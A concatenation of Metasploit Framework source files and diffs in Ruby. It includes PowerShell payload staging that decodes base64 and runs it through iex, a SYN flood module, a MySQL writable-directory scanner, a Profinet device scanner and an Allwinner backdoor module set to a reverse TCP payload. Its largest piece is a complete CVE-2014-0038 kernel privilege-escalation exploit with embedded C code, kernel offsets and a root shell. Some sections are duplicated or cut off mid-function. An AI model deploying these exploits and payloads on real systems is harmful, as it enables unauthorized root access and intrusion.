variable = ps_script.rig.generate(5)
vararray << variable
indexval = index + 1
vprint_good "Loaded stage:#{indexval}"
session.shell_command("$#{variable} = \"#{slice}\"")
cleanup_commands << "Remove-Variable #{variable} -EA 0"
end
linkvars = ''
vararray.each { |var| linkvars << " + $#{var}" }
linkvars.slice!(0..2)
session.shell_command("$#{script_var} = #{linkvars}")
else
print_good "Script size: #{encoded_expression.size}"
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
end
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
print_good "Module loaded"
unless cleanup_commands.empty?
vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
session.shell_command(cleanup_commands.join(';').to_s)
end
rescue Errno::EISDIR => e
vprint_error "Unable to upload script: #{e.message}"
end
end
#
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''
if datastore['Powershell::Post::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir, "#{time_stamp}.txt")
# Open log file for writing
fd = ::File.new(log_file, 'w+')
end
# Read output until eof or nil return output and write to log
loop do
line = ::Timeout.timeout(read_wait) do
cmd_out.channel.read
end rescue nil
break if line.nil?
if line.sub!(/#{eof}/, '')
results << line
fd.write(line) if fd
break
end
results << line
fd.write(line) if fd
end
# Close log file
fd.close if fd
results
end
#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
session.sys.process.kill(pid)
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end
# Close open channels
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end
::File.delete(script_file) if script_file && delete
end
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill = true, ps_cleanup = true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
script = encode_script(compress_script(script.to_s, eof), eof)
end
if datastore['Powershell::Post::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if script.size > 8100
vprint_error "Compressed size: #{script.size}"
error_msg = "Compressed size may cause command to exceed " \
"cmd.exe's 8kB character limit."
vprint_error error_msg
vprint_good 'Launching stager:'
script = stage_cmd_env(script, env_suffix)
print_good "Payload successfully staged."
else
print_good "Compressed size: #{script.size}"
end
vprint_good "Final command #{script}"
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['Powershell::Post::timeout'].to_i < 0
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
# print_error out
return out
end
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good "Cleaning up #{running_pids.join(', ')}"
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end
# Close open channels
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end
::File.delete(script_file) if (script_file and delete)
return
end
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(compress_script(script.to_s, eof),eof)
end
if datastore['Powershell::Post::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if (script.size > 8100)
vprint_error("Compressed size: #{script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
vprint_error(error_msg)
vprint_good('Launching stager:')
script = stage_cmd_env(script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{script.size}")
end
vprint_good("Final command #{script}")
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['Powershell::Post::timeout'].to_i < 0
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
# print_error out
return out
end
ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end
end
end
end
end

View File

@ -807,10 +807,10 @@ class Core
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end

View File

@ -1227,9 +1227,7 @@ require 'msf/core/exe/segment_appender'
# @param code [String]
#
def self.to_powershell_vba(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
@ -1374,9 +1372,7 @@ require 'msf/core/exe/segment_appender'
end
def self.to_powershell_command(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
@ -1385,9 +1381,7 @@ require 'msf/core/exe/segment_appender'
end
def self.to_powershell_hta(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,

View File

@ -51,6 +51,25 @@ class Config
getsid == SYSTEM_SID
end
#
# Returns a list of currently active drivers used by the target system
#
def getdrivers
request = Packet.create_request('stdapi_sys_config_driver_list')
response = client.send_request(request)
result = []
response.each(TLV_TYPE_DRIVER_ENTRY) do |driver|
result << {
basename: driver.get_tlv_value(TLV_TYPE_DRIVER_BASENAME),
filename: driver.get_tlv_value(TLV_TYPE_DRIVER_FILENAME)
}
end
result
end
#
# Returns a hash of requested environment variables, along with their values.
# If a requested value doesn't exist in the response, then the value wasn't found.
@ -94,9 +113,9 @@ class Config
#
# Returns a hash of information about the remote computer.
#
def sysinfo
def sysinfo(refresh: false)
request = Packet.create_request('stdapi_sys_config_sysinfo')
if @sysinfo.nil?
if @sysinfo.nil? || refresh
response = client.send_request(request)
@sysinfo = {

View File

@ -159,6 +159,10 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
TLV_TYPE_PROCESS_SESSION = TLV_META_TYPE_UINT | 2308
TLV_TYPE_PROCESS_ARCH_NAME = TLV_META_TYPE_STRING | 2309
TLV_TYPE_DRIVER_ENTRY = TLV_META_TYPE_GROUP | 2320
TLV_TYPE_DRIVER_BASENAME = TLV_META_TYPE_STRING | 2321
TLV_TYPE_DRIVER_FILENAME = TLV_META_TYPE_STRING | 2322
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402

View File

@ -62,7 +62,8 @@ class PacketParser
# header size doesn't include the xor key, which is always tacked on the front
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
end
elsif (self.payload_length_left > 0)
end
if (self.payload_length_left > 0)
buf = sock.read(self.payload_length_left)
if (buf)

View File

@ -810,7 +810,7 @@ class Console::CommandDispatcher::Stdapi::Sys
# Displays information about the remote system.
#
def cmd_sysinfo(*args)
info = client.sys.config.sysinfo
info = client.sys.config.sysinfo(refresh: true)
width = "Meterpreter".length
info.keys.each { |k| width = k.length if k.length > width and info[k] }

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.16'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.19'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
# Needed by msfgui and other rpc components

View File

@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
open_pcap
sent = 0
num = datastore['NUM']
num = datastore['NUM'] || 0
print_status("SYN flooding #{rhost}:#{rport}...")

View File

@ -53,10 +53,10 @@ class MetasploitModule < Msf::Auxiliary
register_advanced_options(
[
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
OptString.new('MODES', [false, 'Modes to fuzz (csv)']),
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)']),
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)']),
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)'])
], self.class)
end
@ -68,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary
thing = setting.upcase
const_name = thing.to_sym
var_name = thing.downcase
if datastore.key?(thing)
if datastore[thing]
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
@ -178,7 +178,11 @@ class MetasploitModule < Msf::Auxiliary
# Sends +message+ to +host+ on UDP port +port+, returning all replies
def probe(host, port, message)
replies = []
udp_sock.sendto(message, host, port, 0)
begin
udp_sock.sendto(message, host, port, 0)
rescue ::Errno::EISCONN
udp_sock.write(message)
end
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
while reply && reply[1]
replies << reply

View File

@ -0,0 +1,80 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MYSQL Directory Write Test',
'Description' => %Q{
Enumerate writeable directories using the MySQL SELECT INTO DUMPFILE feature, for more
information see the URL in the references. ***Note: For every writable directory found,
a file with the specified FILE_NAME containing the text test will be written to the directory.***
},
'Author' => [ 'AverageSecurityGuy <stephen[at]averagesecurityguy.info>' ],
'References' => [
[ 'URL', 'https://dev.mysql.com/doc/refman/5.7/en/select-into.html' ]
],
'License' => MSF_LICENSE
)
register_options([
OptPath.new('DIR_LIST', [ true, "List of directories to test", '' ]),
OptString.new('FILE_NAME', [ true, "Name of file to write", Rex::Text.rand_text_alpha(8) ]),
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
])
end
# This function does not handle any errors, if you use this
# make sure you handle the errors yourself
def mysql_query_no_handle(sql)
res = @mysql_handle.query(sql)
res
end
def run_host(ip)
print_warning("For every writable directory found, a file called #{datastore['FILE_NAME']} with the text test will be written to the directory.")
print_status("Login...")
unless mysql_login_datastore
print_error('Unable to login to the server.')
return
end
File.read(datastore['DIR_LIST']).each_line do |dir|
check_dir(dir.chomp)
end
end
def check_dir(dir)
begin
print_status("Checking #{dir}...")
res = mysql_query_no_handle("SELECT _utf8'test' INTO DUMPFILE '#{dir}/" + datastore['FILE_NAME'] + "'")
rescue ::RbMysql::ServerError => e
print_warning(e.to_s)
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
else
print_good("#{dir} is writeable")
report_note(
:host => rhost,
:type => "filesystem.file",
:data => "#{dir} is writeable",
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
end
end
end

View File

@ -0,0 +1,152 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'packetfu'
class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Siemens Profinet Scanner',
'Description' => %q{
This module will use Layer2 packets, known as Profinet Discovery packets,
to detect all Siemens (and sometimes other) devices on a network.
It is perfectly SCADA-safe, as there will only be ONE single packet sent out.
Devices will respond with their IP configuration and hostnames.
Created by XiaK Industrial Security Research Center (www[dot]xiak[dot]be))
},
'References' =>
[
[ 'URL', 'https://wiki.wireshark.org/PROFINET/DCP' ],
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ]
],
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('INTERFACE', [ true, 'Set an interface', 'eth0' ]),
OptInt.new('ANSWERTIME', [ true, 'Seconds to wait for answers, set longer on slower networks', 2 ])
], self.class
)
end
def hex_to_bin(s)
s.scan(/../).map { |x| x.hex.chr }.join
end
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
def hexint_to_str(s)
s.to_i(16).to_s
end
def hex_to_address(s)
hexint_to_str(s[0..1]) + '.' + hexint_to_str(s[2..3]) + '.' + hexint_to_str(s[4..5]) + '.' + hexint_to_str(s[6..7])
end
def parse_devicerole(role)
arr = { "01" => "IO-Device", "02" => "IO-Controller", "04" => "IO-Multidevice", "08" => "PN-Supervisor" }
return arr[role] unless arr[role].nil?
'Unknown'
end
def parse_vendorid(id)
return 'Siemens' if id == '002a'
'Unknown'
end
def parse_deviceid(id)
arr = { "0a01" => "Switch", "0202" => "PC Simulator", "0203" => "S7-300 CPU", \
"0101" => "S7-300", "010e" => "S7-1500", "010d" => "S7-1200", "0301" => "HMI", \
"0403" => "HMI", "010b" => "ET200S" }
return arr[id] unless arr[id].nil?
'Unknown'
end
def parse_block(block, block_length)
block_id = block[0..2 * 2 - 1]
case block_id
when '0201'
type_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1])
print_line("Type of station: #{type_of_station}")
when '0202'
name_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1])
print_line("Name of station: #{name_of_station}")
when '0203'
vendor_id = parse_vendorid(block[6 * 2..8 * 2 - 1])
device_id = parse_deviceid(block[8 * 2..10 * 2 - 1])
print_line("Vendor and Device Type: #{vendor_id}, #{device_id}")
when '0204'
device_role = parse_devicerole(block[6 * 2..7 * 2 - 1])
print_line("Device Role: #{device_role}")
when '0102'
ip = hex_to_address(block[6 * 2..10 * 2 - 1])
snm = hex_to_address(block[10 * 2..14 * 2 - 1])
gw = hex_to_address(block[14 * 2..18 * 2 - 1])
print_line("IP, Subnetmask and Gateway are: #{ip}, #{snm}, #{gw}")
end
end
def parse_profinet(data)
data_to_parse = data[24..-1]
until data_to_parse.empty?
block_length = data_to_parse[2 * 2..4 * 2 - 1].to_i(16)
block = data_to_parse[0..(4 + block_length) * 2 - 1]
parse_block(block, block_length)
padding = block_length % 2
data_to_parse = data_to_parse[(4 + block_length + padding) * 2..-1]
end
end
def receive(iface, answertime)
capture = PacketFu::Capture.new(iface: iface, start: true, filter: 'ether proto 0x8892')
sleep answertime
capture.save
i = 0
capture.array.each do |packet|
data = bin_to_hex(packet).downcase
mac = data[12..13] + ':' + data[14..15] + ':' + data[16..17] + ':' + data[18..19] + ':' + data[20..21] + ':' + data[22..23]
next unless data[28..31] == 'feff'
print_good("Parsing packet from #{mac}")
parse_profinet(data[28..-1])
print_line('')
i += 1
end
if i.zero?
print_warning('No devices found, maybe you are running virtually?')
else
print_good("I found #{i} devices for you!")
end
end
def run
iface = datastore['INTERFACE']
answertime = datastore['ANSWERTIME']
packet = "\x00\x00\x88\x92\xfe\xfe\x05\x00\x04\x00\x00\x03\x00\x80\x00\x04\xff\xff\x00\x00\x00\x00"
packet += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
eth_pkt = PacketFu::EthPacket.new
begin
eth_pkt.eth_src = PacketFu::Utils.whoami?(iface: iface)[:eth_src]
rescue
print_error("Error: interface #{iface} not active?")
return
end
eth_pkt.eth_daddr = "01:0e:cf:00:00:00"
eth_pkt.eth_proto = 0x8100
eth_pkt.payload = packet
print_status("Sending packet out to #{iface}")
eth_pkt.to_w(iface)
receive(iface, answertime)
end
end

View File

@ -0,0 +1,354 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
'Description' => %q{
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels built in:
3.8.0-19-generic (13.04 default)
3.11.0-12-generic (13.10 default)
3.11.0-15-generic (13.10)
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
pointer which starts at 0xff*3 (765 seconds)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Feb 2 2014',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
'References' =>
[
[ 'EDB', '31347'],
[ 'EDB', '31346'],
[ 'CVE', '2014-0038'],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
if os_id == 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.11.0'
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
when '3.8.0'
if kernel == Gem::Version.new('3.8.0-19-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
recvmmsg = %q{
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}
if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
close(sockfd);
fprintf(stderr,"\n");
trigger();
}
}
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname,fcontent)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
register_file_for_cleanup(fname)
end
if compile
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
"system(\"#{payload_path}\");")
upload_and_chmod("#{executable_path}.c", recvmmsg)
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
register_file_for_cleanup(executable_path)
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
fd = ::File.open( path, "rb")
recvmmsg = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, recvmmsg)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'a0RwAacU'
payload_path = "/tmp/#{payload_filename}"
end
upload_and_chmod(payload_path, generate_payload_exe)
stime = Time.now
vprint_status("Exploiting... May take 13min. Start time: #{stime}")
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end

View File

@ -5,9 +5,12 @@
require "msf/core"
class MetasploitModule < Msf::Post
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -31,6 +34,11 @@ class MetasploitModule < Msf::Post
],
"Platform" => [ "android", "linux" ],
"DisclosureDate" => "Apr 30 2016",
"DefaultOptions" => {
"payload" => "linux/armle/mettle/reverse_tcp"
},
"Privileged" => true,
"Arch" => ARCH_ARMLE,
"References" =>
[
[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
@ -38,26 +46,36 @@ class MetasploitModule < Msf::Post
"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
[ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
],
"SessionTypes" => [ "shell", "meterpreter" ]
"SessionTypes" => [ "shell", "meterpreter" ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
))
end
def run
backdoor = "/proc/sunxi_debug/sunxi_debug"
def check
backdoor = '/proc/sunxi_debug/sunxi_debug'
